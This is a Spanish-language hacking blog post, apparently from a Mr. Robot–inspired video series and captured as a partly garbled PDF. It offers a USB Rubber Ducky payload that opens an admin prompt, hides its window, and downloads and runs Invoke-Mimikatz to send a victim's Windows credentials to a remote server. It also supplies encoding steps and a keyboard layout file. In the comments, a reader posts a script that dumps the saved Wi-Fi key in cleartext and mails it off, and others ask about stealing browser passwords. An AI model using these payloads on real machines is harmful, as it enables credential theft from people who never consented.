Hackeando Contraseñas Con El USB Rubber Ducky Como en Mr.robot – Hackwise

1/3/2017

Hack Hacke eando con contrase raseñ ñas con con el USB USB Rub Rubber Duck Ducky y como como en Mr. Mr.Rob Robot – hackwis ckwise e.mx

Search and hit enter...



HACKWISE.MX HACK THE WORLD

Hackeando contraseñas con el USB Rubber Ducky Ducky como en Mr.Robot en Mr.Robot HA C K I N G

MR.EBOLA

16 SEPTIEMBRE, 2016

5

COMMENTS

Este episodio de HackWise se inspira en la serie de mr.robot al ver una pequeña escena donde obtienen las contraseñas de una máquina Windows con tan solo 15 segundos de acceso físico en la computadora de la víctima. Utilizaremos el USB Rubber ducky creado por Darren Kitchen de Hak5 con un payload que utiliza la herramienta Mimikatz para obtener los usuarios y contraseñas almacenadas en el caché de la memoria RAM de la víctima. No olvides Suscribirte a HackWise en youtube para youtube para más videos como este!!

http://www.hackwi se.m x/hackeando- contr asenas- con- el - usb- r ubber - du ducky- com o- en- m r - r obot/

1/8

1/3/2017

Hackeando contraseñas con el USB Rubber Ducky como en Mr.Robot – hackwise.mx

Hackeando como en MR.ROBOT con el USB Rubber Ducky - Hack...

Si todavía no tienes tu servidor para montar el script te sugerimos adquieras uno en sinergia.io utiliza el código hackwise para adquirir un 20% de descuento. Este es el código que utilizamos para el payload del rubber ducky. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

REM Title: Invoke mimikatz and send creds to remote server REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi DELAY 1000 REM Open an admin command prompt GUI r DELAY 500 STRING powershell Start-Process cmd -Verb runAs ENTER DELAY 2000 ALT y DELAY 1000 REM Obfuscate the command prompt STRING mode con:cols=18 lines=1 ENTER STRING color FE ENTER REM Download and execute Invoke Mimikatz then upload the results STRING powershell "IEX (New-Object Net.WebClient).DownloadString('
**No olviden cambiar los siguientes enlaces para que se hospeden en su servidor: https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 http://hackwise.mx/h/rubber/Mimikatz/ Descarga el duck encoder desde: https://github.com/hak5darren/USB-Rubber-Ducky http://www.hackwise.mx/hackeando-contrasenas-con-el-usb-rubber- ducky-como-en-mr-robot/

2/8

1/3/2017


Código en PHP para capturar las contraseñas y almacenarlas en nuestro servidor. 1 2 3 4

Comandos para generar el payload inject.bin para el rubber ducky: 1 2 3 4 5

#Comando para generar el ducky script para computadoras en español java -jar ./encoder.jar -i inject -o inject.bin -l es.properties #Comando para generar el ducky script para computadoras en ingles java -jar ./encoder.jar -i inject -o inject.bin

Contenido del archivo es.properties para poder generar ducky scripts para teclados en español. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46

// // // // // // //

Author: Midnitesnake 01-11-2014 LAYOUT_ESPANOL Based from Italian Keymap Thanks to Jaime.AlvarezdeAldecoa for patches Characters fixed by DragsterPS Fixes for Mac by Matto

KEY_NON_US_100 = 100 ASCII_20 = // 32 ASCII_21 = // 33 ! ASCII_22 = // 34 ASCII_23 = // 35 # ASCII_24 = // 36 $ ASCII_25 = // 37 % ASCII_26 = // 38 & ASCII_27 = // 39 ASCII_28 = // 40 ( ASCII_29 = // 41 ) ASCII_2A = // 42 * ASCII_2B = // 43 + ASCII_2C = // 44 , ASCII_2D = // 45 ASCII_2E = // 46 . ASCII_2F = // 47 / ASCII_30 = // 48 0 ASCII_31 = // 49 1

KEY_SPACE KEY_1, MODIFIERKEY_SHIFT KEY_2, MODIFIERKEY_SHIFT KEY_3, MODIFIERKEY_RIGHT_ALT KEY_4, MODIFIERKEY_SHIFT KEY_5, MODIFIERKEY_SHIFT KEY_6, MODIFIERKEY_SHIFT KEY_MINUS KEY_8, MODIFIERKEY_SHIFT KEY_9, MODIFIERKEY_SHIFT KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT KEY_RIGHT_BRACE KEY_COMMA KEY_SLASH KEY_PERIOD KEY_7, MODIFIERKEY_SHIFT KEY_0 KEY_1

http://www.hackwise.mx/hackeando-contrasenas-con-el-usb-rubber- ducky-como-en-mr-robot/

3/8

1/3/2017

47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111


ASCII_32 = // 50 2 ASCII_33 = // 51 3 ASCII_34 = // 52 4 ASCII_35 = // 53 5 ASCII_36 = // 54 6 ASCII_37 = // 55 7 ASCII_38 = // 56 8 ASCII_39 = // 57 9 ASCII_3A = // 58 : ASCII_3B = // 59 ; ASCII_3C = // 60 < ASCII_3D = // 61 = ASCII_3E = // 62 > ASCII_3F = // 63 ? ASCII_40 = // 64 @ ASCII_41 = // 65 A ASCII_42 = // 66 B ASCII_43 = // 67 C ASCII_44 = // 68 D ASCII_45 = // 69 E ASCII_46 = // 70 F ASCII_47 = // 71 G ASCII_48 = // 72 H ASCII_49 = // 73 I ASCII_4A = // 74 J ASCII_4B = // 75 K ASCII_4C = // 76 L ASCII_4D = // 77 M ASCII_4E = // 78 N ASCII_4F = // 79 O ASCII_50 = // 80 P ASCII_51 = // 81 Q ASCII_52 =

KEY_2 KEY_3 KEY_4 KEY_5 KEY_6 KEY_7 KEY_8 KEY_9 KEY_PERIOD, MODIFIERKEY_SHIFT KEY_COMMA, MODIFIERKEY_SHIFT KEY_TILDE KEY_0, MODIFIERKEY_SHIFT KEY_TILDE, MODIFIERKEY_SHIFT KEY_MINUS, MODIFIERKEY_SHIFT KEY_2, MODIFIERKEY_RIGHT_ALT KEY_A, MODIFIERKEY_SHIFT KEY_B, MODIFIERKEY_SHIFT KEY_C, MODIFIERKEY_SHIFT KEY_D, MODIFIERKEY_SHIFT KEY_E, MODIFIERKEY_SHIFT KEY_F, MODIFIERKEY_SHIFT KEY_G, MODIFIERKEY_SHIFT KEY_H, MODIFIERKEY_SHIFT KEY_I, MODIFIERKEY_SHIFT KEY_J, MODIFIERKEY_SHIFT KEY_K, MODIFIERKEY_SHIFT KEY_L, MODIFIERKEY_SHIFT KEY_M, MODIFIERKEY_SHIFT KEY_N, MODIFIERKEY_SHIFT KEY_O, MODIFIERKEY_SHIFT KEY_P, MODIFIERKEY_SHIFT KEY_Q, MODIFIERKEY_SHIFT KEY_R, MODIFIERKEY_SHIFT


4/8

1/3/2017

112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176


// 82 R ASCII_53 = // 83 S ASCII_54 = // 84 T ASCII_55 = // 85 U ASCII_56 = // 86 V ASCII_57 = // 87 W ASCII_58 = // 88 X ASCII_59 = // 89 Y ASCII_5A = // 90 Z ASCII_5B = // 91 [ ASCII_5C = // 92 \

KEY_S, MODIFIERKEY_SHIFT KEY_T, MODIFIERKEY_SHIFT KEY_U, MODIFIERKEY_SHIFT KEY_V, MODIFIERKEY_SHIFT KEY_W, MODIFIERKEY_SHIFT KEY_X, MODIFIERKEY_SHIFT KEY_Y, MODIFIERKEY_SHIFT KEY_Z, MODIFIERKEY_SHIFT KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT

ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT // 93 ] ASCII_5E = KEY_EQUAL, MODIFIERKEY_SHIFT // 94 ^ ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT // 95 _ // ascii 60, 96: accento grave, non mappato ASCII_61 = KEY_A // 97 a ASCII_62 = KEY_B // 98 b ASCII_63 = KEY_C // 99 c ASCII_64 = KEY_D // 100 d ASCII_65 = KEY_E // 101 e ASCII_66 = KEY_F // 102 f ASCII_67 = KEY_G // 103 g ASCII_68 = KEY_H // 104 h ASCII_69 = KEY_I // 105 i ASCII_6A = KEY_J // 106 j ASCII_6B = KEY_K // 107 k ASCII_6C = KEY_L // 108 l ASCII_6D = KEY_M // 109 m ASCII_6E = KEY_N // 110 n ASCII_6F = KEY_O // 111 o ASCII_70 = KEY_P // 112 p ASCII_71 = KEY_Q // 113 q ASCII_72 = KEY_R


5/8

1/3/2017

177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220


// 114 r ASCII_73 = KEY_S // 115 s ASCII_74 = KEY_T // 116 t ASCII_75 = KEY_U // 117 u ASCII_76 = KEY_V // 118 v ASCII_77 = KEY_W // 119 w ASCII_78 = KEY_X // 120 x ASCII_79 = KEY_Y // 121 y ASCII_7A = KEY_Z // 122 z ASCII_7B = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT // 123 { ASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT // 124 | ASCII_7D = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT // 125 } ASCII_7E = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT // 126 ~ ISO_8859_1_BA = KEY_NON_US_100 // 127 º // ascii 7E, 126: tilde, non mappato ISO_8859_1_E0 = KEY_QUOTE // 192 a grave ISO_8859_1_E8 = KEY_LEFT_BRACE // 232 e grave ISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT // 233 e acuta ISO_8859_1_EC = KEY_EQUAL // 236 i grave ISO_8859_1_F2 = KEY_SEMICOLON // 242 o grave ISO_8859_1_F9 = KEY_BACKSLASH // 249 u grave ISO_8859_1_F1 = KEY_SEMICOLON ISO_8859_1_D1 = KEY_SEMICOLON, MODIFIERKEY_SHIFT

Si tienes dudas, puedes dejar tus comentarios y con gusto te ayudaré Esto es todo por el video de esta semana, no olviden suscribirse a HackWise en youtube, hasta la próxima !

 Posted in hacking, mr.robot, Rubber Ducky 5 Comments  Recommend

hackwise.mx

⤤ Share

1 

Login

Sort by Best

Join the discussion… http://www.hackwise.mx/hackeando-contrasenas-con-el-usb-rubber- ducky-como-en-mr-robot/

6/8

1/3/2017


el prinss • 5 months ago

Donde puedo adquirir un USB Rubber Ducky? • Reply • Share › Angelben Sánchez • 5 months ago

Se puede hacer que guarde los datos en la micro SD en lugar de subir a un servidor? Se puede utilizar para sacar las contraseñas de algún wifi que estén almacenadas en la pc? Me puedes vender uno de esos Rubber Ducky's, aunque sea usado xd? Saludos de México! • Reply • Share › Ronny Alexander Eras > Angelben Sánchez • 3 months ago

sí se puede, te adjunto el script con el que puedes sacar la contra del wifi al cual esté conectado y enviartelo al correo WINDOWS d REM --> Open cmd WINDOWS r DELAY 500 STRING cmd ENTER DELAY 1000 REM --> Getting SSID STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A ENTER STRING netsh wlan show profile name=%A% key=clear >> Log.log ENTER REM --> Mail Log.txt STRING powershell ENTER see more

• Reply • Share › Armyzael • a month ago

Tengo una duda si no quiero subirlo al servidor y lo que quiero que se me grabe en un block de notas comun dentro de la misma memoria, como seria el codigo, y otra cosa he visto que varia gente deja guardada sus contraseñas dentro de sus buscadores de internet como ser google crome o moxila firefox, se podran tomar obtener estos accesos, como seria el codigo y que recomendscion puedes hacer para evitar que alguen ya sea por broma o por maldad copie tus contraseñas • Reply • Share › Esteban Ortiz • a month ago

Me puedes vender uno de esos Rubber Ducky's, aunque sea usado De Argentina Neuquen •

•


7/8

1/3/2017


HACKWISE.MX

¿Que es Bitcoin y Bitcoin GDL? •

Hackeando cualquier correo electrónico como en MR.ROBOT – HackWise EP4

•

•

— Hola! La entrada es gratuita te recomiendo visites http://hackergarage.mx/

Como invitar rapidamente a todos tus amigos a un facebook page •

— Excelente articulo de verdad muy interesante y gracias por compartirlo en el asunto con mepscrk.py no funciona pues en …

Como desactivar PING en linux utilizando icmp echo ignore all en debian o ubuntu

•

•

— gracias muy bueno amigo

✉ Subscribe d

Add Disqus to your site Add Disqus Add

•

•

— Hay algún inconveniente al desactivar las repuestas de ping?Saludos  Privacy

YOUTUBE

PROUDLY HOSTED ON SINERGIA.IO


8/8

Hackeando Contraseñas Con El USB Rubber Ducky Como en Mr.robot – Hackwise

Recommend Documents